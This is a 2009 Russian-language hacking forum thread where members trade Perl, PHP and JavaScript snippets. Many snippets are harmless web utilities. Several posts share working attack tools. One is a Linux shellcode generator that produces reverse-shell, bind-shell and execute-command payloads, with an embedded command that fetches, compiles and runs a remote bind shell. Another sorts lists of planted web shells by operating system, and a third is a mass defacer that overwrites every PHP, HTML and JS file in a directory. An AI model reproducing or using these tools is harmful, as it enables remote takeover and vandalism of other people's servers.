10.03.2009, 21:58
eLWAux, ну и ужос. вот 13 строчек из привата:
use warnings;
use strict;
use LWP::UserAgent;
my $im = shift || die "Nety kartinki\n";
my $ua = LWP::UserAgent->new;
my $load = $ua->post('http://www.radikal.ru/action.aspx',
Content_type => 'multipart/form-data',
Content => [upload => 'yes',
F => [$im]])->content;
$load =~ m,"img4prev" src="(.+?)",i ? print $1 : print "XYI"
RegStuff, отличия видиш?!
ти используеш говорий компонент LWP::UserAgent;
а все делаю вручную, через сокети.
твои 13 строчек на LWP, то самое что и мой 26 на сокетах, а то и больше
print "XYI"
мегакодер
RegStuff
10.03.2009, 22:05
ти используеш говорий компонент LWP::UserAgent;
а все делаю вручную, через сокети.
твои 13 строчек на LWP, то самое что и мой 26 на сокетах, а то и больше
эльвипи это делает за тебя, балбес :(
мегакодер
эт не я, это из привата
PS: бачи на русской мове, не понятно ничего почти
Для GD
Если вы привыкли задавать цвет так, как это делается в HTML, то можете использовать следующую функцию:
function htmlcolor($img,$color) {
sscanf($color, "%2x%2x%2x", $red, $green, $blue);
return ImageColorAllocate($img,$red,$green,$blue);
return($c);
}
$red=htmlcolor($img,"FF0000");
real_kas
11.03.2009, 18:57
а то пробелы форум лишние ставит=
для такого случая посовтую сервис http://dumpz.org. там выкладываешь исходник, он его не бьет... вроде :)
2 real_kas
мне как то и рапида подходит..
real_kas
12.03.2009, 00:48
2 real_kas
мне как то и рапида подходит..
если архив это да. а если кусок кода то нет. рапида неудобная до ужаса...
ph1l1ster
12.03.2009, 14:39
надо было рассортироватьшеллы...
простенький сортировщик шеллов в один поток, сортирует по winddows, linux, freebsd.
#!usr/bin/perl
use LWP::UserAgent;
print "\n\nEnter Shells file name:";
$shells = <STDIN>;
open(SHELLS,$shells) || die "\n# Can not open $shells";
open(WIN, ">>wind_shells.txt");
open(LIN, ">>lin_shells.txt");
open(BSD, ">>freebsd_shells.txt");
sub search($url,$win,$lin,$bsd)
{
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
$win="Windows";
$lin="Linux";
$bsd="FreeBSD";
if (index($answer->content,$win)>-1)
{
print WIN "$url\n";
}
if (index($answer->content,$lin)>-1)
{
print LIN "$url";
}
if (index($answer->content,$bsd)>-1)
{
print BSD "$url";
}
}
print "## Sorting...\n";
while (defined($url=<SHELLS>))
{
&search($url,$win,$lin,$bsd) ;
}
heretic1990
12.03.2009, 17:32
Строка в поле статуса, мелочь, но иногда бывает полезной!
Вылетающие сообщение в строке статуса
<script language="JavaScript" type="text/javascript">
function snapIn(jumpSpaces,position) {
var msg = "Добро пожаловать!!!"
var out = ""
if (killScroll) {return false}
for (var i=0; i<position; i++)
{out += msg.charAt(i)}
for (i=1;i<jumpSpaces;i++)
{out += " "}
out += msg.charAt(position)
window.status = out
if (jumpSpaces <= 1) {
position++
if (msg.charAt(position) == ' ')
{position++ }
jumpSpaces = 100-position
} else if (jumpSpaces > 3)
{jumpSpaces *= .75}
else
{jumpSpaces--}
if (position != msg.length) {
var cmd = "snapIn(" + jumpSpaces + "," + position + ")";
scrollID = window.setTimeout(cmd,5);
} else {
scrolling = false
return false
}
return true
}
function snapSetup() {
if (scrolling)
if (!confirm('Re-initialize snapIn?'))
return false
killScroll = true
scrolling = true
var killID = window.setTimeout('killScroll=false',6)
scrollID = window.setTimeout('snapIn(100,0)',10)
return true
}
var scrollID = Object
var scrolling = false
var killScroll = false
</script>
Мигающая строка в поле статуса
<script language="JavaScript" type="text/javascript">
<!--//
var yourwords="Добро пожаловать!";
var speed=600;
var control=1;
function flash()
{
if (control==1)
{
window.status=yourwords;control=0
}
else {
window.status="";control=1
}
setTimeout("flash();",speed) };
flash();
//-->
</script>
Текст в строке состояния браузера неподвижный
<script language=JavaScript>
<!--
var tlp_ststtext="Добро пожаловать!";function tlp_ststfnc(){window.status=tlp_ststtext;tmp=setTi meout("tlp_ststfnc()",10);}tlp_ststfnc();
//-->
</script>
Текст в строке состояния браузера подвижный
<script language=JavaScript>
<!--
var scrolltext = "Добро пожаловать!";
var lenscrolltext = scrolltext.length;
var width = 100;
var pos = 1-width;
var tlp_std = 100;
function tlp_sfu() {pos++;var scroller="";if (pos==lenscrolltext) {pos=1-width;}if (pos<0) {for (var i=1; i<=Math.abs(pos); i++) {scroller=scroller+" ";}scroller=scroller+scrolltext.substring(0,width-i+1);}else {scroller=scroller+scrolltext.substring(pos,width+ pos);}window.status = scroller;setTimeout("tlp_sfu()", tlp_std);}tlp_sfu();
//-->
</script>
Постепенный вывод заголовка документа
<script><!--//
var tit = document.title;
var c = 0;
function writetitle() {
document.title = tit.substring(0,c);
if(c==tit.length)
{
c = 0;
setTimeout("writetitle()", 3000)
}
else {
c++;
setTimeout("writetitle()", 200)
}
}
writetitle()
// -->
</script>
mailbrush
12.03.2009, 17:41
heretic1990, копирайты?
Pashkela
12.03.2009, 20:43
Обновленная GUI-версия сканера сайтов на папки/файлы. Обновления:
1. Поддержка прокси без авторизации
2. Поддержка прокси с авторизацией
3. Возможность выставлять паузу между запросами (в секундах)
4. Найденные папки/файлы отображаются в виде дерева
5. Возможность сканить подпапки просто нажав на соответствующую ветвь дерева
6. Возможность сохранить результаты в уникальный файл (имя_хоста.txt)
7. Возможность сканить новый сайт без выхода из программы (кнопка Reset)
8. Возможность редактировать ошибки, выданные сайтом, когда страница не существует
Cкачать (http://bug-track.ru/prog/Sitescaner1.1.rar)
http://s56.radikal.ru/i152/0903/a6/ba2460d7484b.jpg
как поиметь свой личный приватный прокси, который по параметрам вполне подходит для таких дел, читаем
ЗДЕСЬ (https://forum.antichat.ru/thread53202.html)
heretic1990, это не полезные скрипты, а пережиток с сайтов народа 2000-2001 годов.
Pashkela а как это к php или perl относится?
хуиз если влом на сайты лезть
<html>
<head>
<title>WHOIS</title>
</head>
<body>
<center>
<H4> IPшник</H4>
<FORM action=ip.php method=post>
<INPUT type=text name=ip size=40>
<input type=submit value='ок'>
</form>
</center>
<?php if ($ip!="")
{ $sock = fsockopen ("whois.arin.net",43,$errno,$errstr); //соединение с сокетом TCP, ожидающим на сервере "whois.arin.net" на 43 порту. Возвращение дескриптора соединения
if (!$sock) {
echo("$errno($errstr)");
return;
}
else { fputs ($sock, $ip."rn"); //запись строки из переменной $ip в дескриптор сокета
while (!feof($sock)) { echo (str_replace(":",": ",fgets ($sock,128))."<br>"); //чтение дескриптора сокета
}
}
fclose ($sock); //закрытие соединения
}
?> </body> </html>
Pashkela а как это к php или perl относится?
на php написано если не ошибаюсь...
с gui
heretic1990
13.03.2009, 20:52
Скрипт отражения изображения
reflection.js
document.getElementsByClassName = function(className) {
var children = document.getElementsByTagName('*') || document.all;
var elements = new Array();
for (var i = 0; i < children.length; i++) {
var child = children[i];
var classNames = child.className.split(' ');
for (var j = 0; j < classNames.length; j++) {
if (classNames[j] == className) {
elements.push(child);
break;
}
}
}
return elements;
}
var Reflection = {
defaultHeight : 0.5,
defaultOpacity: 0.5,
add: function(image, options) {
Reflection.remove(image);
doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
if (options) {
for (var i in doptions) {
if (!options[i]) {
options[i] = doptions[i];
}
}
} else {
options = doptions;
}
try {
var d = document.createElement('div');
var p = image;
var classes = p.className.split(' ');
var newClasses = '';
for (j=0;j<classes.length;j++) {
if (classes[j] != "reflect") {
if (newClasses) {
newClasses += ' '
}
newClasses += classes[j];
}
}
var reflectionHeight = Math.floor(p.height*options['height']);
var divHeight = Math.floor(p.height*(1+options['height']));
var reflectionWidth = p.width;
if (document.all && !window.opera) {
/* Fix hyperlinks */
if(p.parentElement.tagName == 'A') {
var d = document.createElement('a');
d.href = p.parentElement.href;
}
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';
d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';
var reflection = document.createElement('img');
reflection.src = p.src;
reflection.style.width = reflectionWidth+'px';
reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+ (options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';
d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);
d.appendChild(p);
d.appendChild(reflection);
} else {
var canvas = document.createElement('canvas');
if (canvas.getContext) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';
d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';
var context = canvas.getContext("2d");
canvas.style.height = reflectionHeight+'px';
canvas.style.width = reflectionWidth+'px';
canvas.height = reflectionHeight;
canvas.width = reflectionWidth;
d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);
d.appendChild(p);
d.appendChild(canvas);
context.save();
context.translate(0,image.height-1);
context.scale(1,-1);
context.drawImage(image, 0, 0, reflectionWidth, image.height);
context.restore();
context.globalCompositeOperation = "destination-out";
var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);
gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");
context.fillStyle = gradient;
if (navigator.appVersion.indexOf('WebKit') != -1) {
context.fill();
} else {
context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
}
}
}
} catch (e) {
}
},
remove : function(image) {
if (image.className == "reflected") {
image.className = image.parentNode.className;
image.parentNode.parentNode.replaceChild(image, image.parentNode);
}
}
}
function addReflections() {
var rimages = document.getElementsByClassName('reflect');
for (i=0;i<rimages.length;i++) {
var rheight = null;
var ropacity = null;
var classes = rimages[i].className.split(' ');
for (j=0;j<classes.length;j++) {
if (classes[j].indexOf("rheight") == 0) {
var rheight = classes[j].substring(7)/100;
} else if (classes[j].indexOf("ropacity") == 0) {
var ropacity = classes[j].substring(8)/100;
}
}
Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
}
}
var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
Незабываем потом его подключить))
<script type="text/javascript" src="reflection.js"></script>
пример использования:
<img src="example.jpg" alt="" class="reflect" />
Shadow_p1raT
14.03.2009, 16:14
Написал альтернативную функцию для работы с вебом.
Использует file_get_contents()
function sock_do($action,$method,$header = false,$params = false,$proxy = false,$cookie = false,$referer = false)
{
$out = array('http' => array());
$method = strtoupper($method);
if($method == 'GET') {
$action .= '?'.$params;
$out['http']['method'] = 'GET';
} elseif($method == 'POST') {
$out['http']['method'] = 'POST';
$out['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($params)."\r\n";
$out['http']['content'] = $params;
} else {
die('Йа криветко');
}
if($proxy) {
$out['http']['proxy'] = 'tcp://'.$proxy;
}
if($cookie) {
$out['http']['header'] .= 'Cookie: '.$cookie."\r\n";
}
if($referer) {
$out['http']['header'] .= 'Referer: '.$referer."\r\n";
}
$out['http']['header'] .= "Connection: close\r\n";
$content = stream_context_create($out);
$result = @file_get_contents($action,false,$content);
$res = array();
$res = array($result);
if($header) {
$res[] = implode("\r\n",$http_response_header);
}
return $res; //Возвращаем ответ + заголовки
}
# [пример использования]
$send = sock_do('http://microsoft.com/private/index.php','GET',1,'login=bill&password=antichat');# аналагично с POST
print_R($send);# В первом кдюче ответ сервера во втором заголовки
Спросите для чего @ перед file_get_contens() ?
Если вы обратитесь к серверу и он вас хидером перенаправит ну другой хост то file_get_contents вернёт ошибку:-)В таком случае в переменной $header должно быть true.Далее парсим заголовки)
Pashkela
14.03.2009, 18:18
Pashkela а как это к php или perl относится?
самым прямым образом
ph1l1ster
15.03.2009, 14:59
Linux shellcode generator
#!/usr/bin/perl
# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]
# contact: xzid420[at]gmail.com
use strict;
use warnings;
use Getopt::Long;
my $comment=q{
-------------------------
reverse shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444);
movl $0xa0a0a0a,4(%esp) # inet_addr("10.10.10.10");
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x03
pop %ebx
int $0x80
mov %ebp,%esp
pop %ebx
push $0x03
pop %ecx
dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
reverse shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall
xchgq %rax,%rdi
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl $0xa0a0a0a,4(%rsp) #; inet_addr("10.10.10.10");
movq %rsp,%rsi
push $0x10
pop %rdx
push $0x2a
pop %rax
syscall
push $0x03
pop %rsi
dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
bind shell x86
-------------------------
xor %edx,%edx
push $0x06
push $0x01
push $0x02
mov %esp,%ecx
push $0x66
pop %eax
push $0x01
pop %ebx
int $0x80
mov %eax,%edi
movb $0x02,(%esp)
movw $0xbc01,2(%esp) # htons(444)
movl %edx,4(%esp) # 0[INADDR_ANY]
mov %esp,%ecx
push $0x10
push %ecx
push %eax
mov %esp,%ecx
push %eax
mov %esp,%ebp
push $0x66
pop %eax
push $0x02
pop %ebx
int $0x80
push $0x05
push %edi
mov %esp,%ecx
push $0x66
pop %eax
push $0x04
pop %ebx
int $0x80
push %edx
push %edx
push %edi
mov %esp,%ecx
push $0x05
pop %ebx
push $0x66
pop %eax
int $0x80
xchg %ebx,%eax
push $0x03
pop %ecx
dup2loop:
dec %ecx
push $63
pop %eax
int $0x80
jnz dup2loop
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
xor %ecx,%ecx
push $0x0b
pop %eax
int $0x80
-------------------------
bind shell x86-64
-------------------------
xorq %rdx,%rdx
pushq $0x29
pop %rax
push $0x01
pop %rsi
push $0x02
pop %rdi
syscall
xchgq %rax,%rdi
xorq %rax,%rax
movb $0x02,(%rsp)
movw $0x6007,2(%rsp) #; htons(1087);
movl %eax,4(%rsp) #; 0[INADDR_ANY]
movq %rsp,%rsi
push $0x10
pop %rdx
push $49
pop %rax
syscall
push $0x01
pop %rsi
push $50
pop %rax
syscall
xorq %rsi,%rsi
xorq %rdx,%rdx
push $43
pop %rax
syscall
xchgq %rax,%rdi
push $0x03
pop %rsi
dup2loop:
dec %rsi
push $33
pop %rax
syscall
jnz dup2loop
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx
shr $0x8,%rbx
pushq %rbx
movq %rsp,%rdi
pushq %rdx
pushq %rdi
movq %rsp,%rsi
push $59
pop %rax
syscall
-------------------------
execute cmd x86
-------------------------
jmp cmd
shellcode:
pop %ecx
xor %edx,%edx
push %edx
push $0x68732f6e # hs/n
push $0x69622f2f # ib//
mov %esp,%ebx
movw $0x632d,%ax
push %edx
push %ax
mov %esp,%eax
push %edx
push %ecx
push %eax
push %ebx
mov %esp,%ecx
push $0x0b
pop %eax
int $0x80
push $0x01
pop %eax
xor %ebx,%ebx
int $0x80
cmd:
call shellcode
.ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
execute cmd x86-64
-------------------------
jmp cmd
shellcode:
pop %rcx
xorq %rdx,%rdx
movq $0x68732f6e69622f2f,%rbx # hs/nib//
shr $0x8,%rbx
push %rbx
movq %rsp,%rdi
movw $0x632d,%ax
pushq %rdx
pushq %ax
movq %rsp,%rax
pushq %rdx
pushq %rcx
pushq %rax
pushq %rdi
movq %rsp,%rsi
xorq %rax,%rax
movb $0x3b,%al
syscall
push $0x3c
pop %rax
xorq %rdi,%rdi
syscall
cmd:
call shellcode
.string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
};
my($host,$port,$cmd,$amd64,$shellcode);
GetOptions("host=s" => \$host,
"port=i" => \$port,
"cmd=s" => \$cmd,
"64" => \$amd64);
if($host and $port)
{
if($amd64)
{
# x86-64 reverse shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\ x0f\x05\x48\x97\xc6\x04\x24\x02\x66'.
'\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04' .saddr($host).'\x48\x89\xe6\x6a\x10'.
'\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\ x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'.
'\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\ xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'.
'\x48\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 reverse shell\n\n";
}
else
{
# x86 reverse shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\ x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'.
'\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\ x24\x04'.saddr($host).'\x89\xe1\x6a'.
'\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\ x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'.
'\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\ x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'.
'\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 reverse shell\n\n";
}
print "host: $host\n",
"port: $port\n";
}
elsif($port)
{
if($amd64)
{
# x86-64 bind shell
$shellcode=
'\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\ x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'.
'\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\ x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'.
'\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\ x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'.
'\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\ x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'.
'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\ xeb\x08\x53\x48\x89\xe7\x52\x57\x48'.
'\x89\xe6\x6a\x3b\x58\x0f\x05';
print "linux/x86-64 bind shell\n\n";
}
else
{
# x86 bind shell
$shellcode=
'\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\ x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'.
'\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\ x89\x54\x24\x04\x89\xe1\x6a\x10\x51'.
'\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\ xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'.
'\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\ x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'.
'\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\ x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'.
'\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
print "linux/x86 bind shell\n\n";
}
print "port: $port\n";
}
elsif($cmd)
{
if($amd64)
{
# x86-64 execute cmd
$shellcode=
'\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\ x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'.
'\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\ x52\x51\x50\x57\x48\x89\xe6\x48\x31'.
'\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\ x05\xe8\xc6\xff\xff\xff'.cmd($cmd);
print "linux/x86-64 execute cmd\n\n";
}
else
{
# x86 execute cmd
$shellcode=
'\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\ x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'.
'\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\ x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'.
'\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd);
print "linux/x86 execute cmd\n\n";
}
print "cmd: $cmd\n";
}
else
{
print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n",
"reverse:\n",
" $0 --host <host> --port <port>\n\n",
"bind:\n",
" $0 --port <port>\n\n",
"cmd:\n",
" $0 --cmd <cmd>\n\n",
"args:\n",
" --64 x86-64, default x86\n";
exit;
}
print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n",
"-------------------------\n",
$shellcode,
"\n-------------------------\n";
sub shellcode_length
{
my $scode=shift||return 0;
my @p=split('x',$scode);
return $#p;
}
sub cmd
{
my $c=shift;
$c=~s/(.)/sprintf("\\x%02x",ord($1))/eg;
return $c;
}
sub saddr
{
my $host=shift;
my $s=gethostbyname($host) or die "error: host lookup failed\n";
my @sp=unpack('C4',$s);
my $ret="";
for(< @sp>) {$ret.=sprintf("\\x%.2x",$_);}
print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/);
return $ret;
}
sub sport
{
my $port=shift;
die "port range: 300-20000\n" if($port<300||$port>20000);
$port=sprintf("%.4x",$port);
$port=~s/(.{2})/\\x$1/g;
return $port;
}
Тупо исправляет на странслит:)
<?php $n=strlen($string); $i=0; while($i<$n) { switch($string[$i]) { case "А": $string[$i]="A"; break; case "а": $string[$i]="a"; break; case "Б": $string[$i]="B"; break; case "б": $string[$i]="b"; break; case "В": $string[$i]="V"; break; case "в": $string[$i]="v"; break; case "Г": $string[$i]="G"; break; case "г": $string[$i]="g"; break; case "Д": $string[$i]="D"; break; case "д": $string[$i]="d"; break; case "Е": $string[$i]="E"; break; case "е": $string[$i]="e"; break; case "Ё": $string[$i]="E"; break; case "ё": $string[$i]="e"; break; case "Ж": $string[$i]="J"; break; case "ж": $string[$i]="j"; break; case "З": $string[$i]="Z"; break; case "з": $string[$i]="z"; break; case "И": $string[$i]="I"; break; case "и": $string[$i]="i"; break; case "Й": $string[$i]="I"; break; case "й": $string[$i]="i"; break; case "К": $string[$i]="K"; break; case "к": $string[$i]="k"; break; case "Л": $string[$i]="L"; break; case "л": $string[$i]="l"; break; case "М": $string[$i]="M"; break; case "м": $string[$i]="m"; break; case "Н": $string[$i]="N"; break; case "н": $string[$i]="n"; break; case "О": $string[$i]="O"; break; case "о": $string[$i]="o"; break; case "П": $string[$i]="P"; break; case "п": $string[$i]="p"; break; case "Р": $string[$i]="R"; break; case "р": $string[$i]="r"; break; case "С": $string[$i]="S"; break; case "с": $string[$i]="s"; break; case "Т": $string[$i]="T"; break; case "т": $string[$i]="t"; break; case "У": $string[$i]="U"; break; case "у": $string[$i]="u"; break; case "Ф": $string[$i]="F"; break; case "ф": $string[$i]="f"; break; case "Х": $string[$i]="H"; break; case "х": $string[$i]="h"; break; case "Ч": $string[$i]="С"; break; case "ч": $string[$i]="с"; break; case "Ш": $string[$i]="S"; break; case "ш": $string[$i]="s"; break; case "Щ": $string[$i]="S"; break; case "щ": $string[$i]="s"; break; case "Ц": $string[$i]="C"; break; case "ц": $string[$i]="c"; break; case "Ъ": $string[$i]="`"; break; case "ъ": $string[$i]="`"; break; case "Ы": $string[$i]="I"; break; case "ы": $string[$i]="i"; break; case "Ь": $string[$i]="'"; break; case "ь": $string[$i]="'"; break; case "Э": $string[$i]="E"; break; case "э": $string[$i]="e"; break; case "Ю": $string[$i]="U"; break; case "ю": $string[$i]="u"; break; case "Я": $string[$i]="Y"; break; case "я": $string[$i]="y"; break; } $i++; } echo "<form method=post><textarea cols=70 rows=20 name=string></textarea><input type=submit value='Затранслитить:)'> </form>"; echo "<b>".$string."</b>"; ?>
HOSTAL оформи код нормально
ph1l1ster
16.03.2009, 01:12
Mass Defacer
#!/usr/bin/perl -w
$def = 'YOUR LAME DEFACE PAGE HERE =)';
{ print "[+]DEFACING...\n";
print"[+]DEFACING .PHP FILES...\n";
my @php = glob("*.php");
foreach my $deface(@php){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTML FILES...\n";
my @html = glob("*.html");
foreach my $deface(@html){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASP FILES...\n";
my @asp = glob("*.asp");
foreach my $deface(@asp){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASPX FILES...\n";
my @aspx = glob("*.aspx");
foreach my $deface(@aspx){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTM FILES...\n";
my @htm = glob("*.htm");
foreach my $deface(@htm){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .JS FILES...\n";
my @js = glob("*.js");
foreach my $deface(@js){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .AC FILES...\n";
my @ac = glob("*.ac");
foreach my $deface(@ac){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]Pages Should Be Defaced!\n";
}
Shadow_p1raT
16.03.2009, 17:24
HOSTAL,О_о,ну ты дерзкий....
ИМХО так проще
<?php
if(isset($_POST['g0'])) {
$rus = 'aбвгдеёжзийклмнопрстуфхчш щцъыьэюя';# словрик
$rus = str_split($rus.strtoupper($rus));# Созадём массив+переводим в верхний регистр
$eng = 'abvgdeejziiklmnoprstufhcssc`i\'euy';# англ словарик
$eng = str_split($eng.strtoupper($eng));# тоже самое что и с рус
$text = str_replace($rus,$eng,$_POST['string']);# заменяем
echo $text;
} else {
echo '<form method=post>
<textarea cols=70 rows=20 name="string">
</textarea><br><input name="g0" type=submit value="Затранслитить:)">
</form>';
}
?>
Мужики, извините если не в том разделе пишу - нигде не могу найти:
Нужен редактор как в DLE для собственного скрипта - новостника или что-то примерно похожее.
Основные требования - загрузка картинок, bbcode'ы (жирный, курсив и прочее).
Если кто знает где есть - подкиньте пожалуйста - Большое Спасибо! :)
Наврялти ты где то найдеш, даэто все делаеться просто достаточно.
Текстареа,стр_реплайс bb-code,аплоад картинок,с выводом конечной ссылки,вот впринцапе и всо.
скрипт бекапа БД, при переходе на него, предлагает скачать файл с дампом, если кодировка соединения и БД не совпадает раскомментируйте 18-19 строку и укажите кодировку базы
<?php
/**
* @author Zedi
* @copyright 2009
*/
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'chat';
$connect = mysql_connect($dbhost, $dbuser, $dbpass) or die("Не могу соединиться с MySQL сервером!<br>" .
mysql_error());
$db = mysql_select_db($dbname) or die("Базы данных не существует!<br>" .
mysql_error());
#$sql = "SET NAMES utf8";
#$result = mysql_query($sql, $connect);
$filename = "dump_" . date('Y-m-d_H-i-s_') . rand(0, 100) . $dbname . ".sql";
$ext = "sql";
$mime_type = "'application/octet-stream";
$now = gmdate('D, d M Y H:i:s') . ' GMT';
header('Content-Type: ' . $mime_type);
header('Expires: ' . $now);
header('Content-Disposition: inline; filename="' . $filename . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
$sql = 'SHOW TABLE STATUS FROM `' . $dbname . "`";
$query = mysql_query($sql, $connect);
$n = mysql_num_rows($query);
$total_size = 0;
$dump = '';
for ($i = 0; $i < $n; $i++)
{
$array_tables = mysql_fetch_array($query);
$tname = $array_tables[0];
$sql_table = "SHOW CREATE TABLE `{$tname}`";
$query_table = mysql_query($sql_table, $connect);
$table = mysql_fetch_array($query_table);
$sql_data = "SELECT * FROM `{$tname}`";
$result = mysql_query($sql_data, $connect);
$c_data = mysql_num_rows($result);
$dump .= $table[1] . ";\n";
if ($c_data)
$dump .= "INSERT INTO `{$tname}` VALUES";
$sql_columns = "SHOW COLUMNS FROM `{$tname}`";
$query_columns = mysql_query($sql_columns, $connect);
$c = mysql_num_rows($query_columns);
$fields = array();
for ($k = 0; $k < $c; $k++)
{
$column = mysql_result($query_columns, $k, 0);
$push = array_push($fields, $column);
}
$p = 0;
for ($g = 0; $g < $c_data; $g++)
{
$z = 0;
$zp = $zk = '';
if ($p)
$zk = ', ';
$dump .= $zk . " \n(";
foreach ($fields as $fild)
{
if ($z)
$zp = ', ';
$dump .= $zp . '\'' . addslashes(mysql_result($result, $g, $fild)) . '\'';
$z++;
}
$dump .= ")";
$p++;
}
if ($c_data)
$dump .= "; \n";
else
$dump .= "\n";
}
echo $dump;
die();
?>
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
Большое спасибо! :rolleyes:
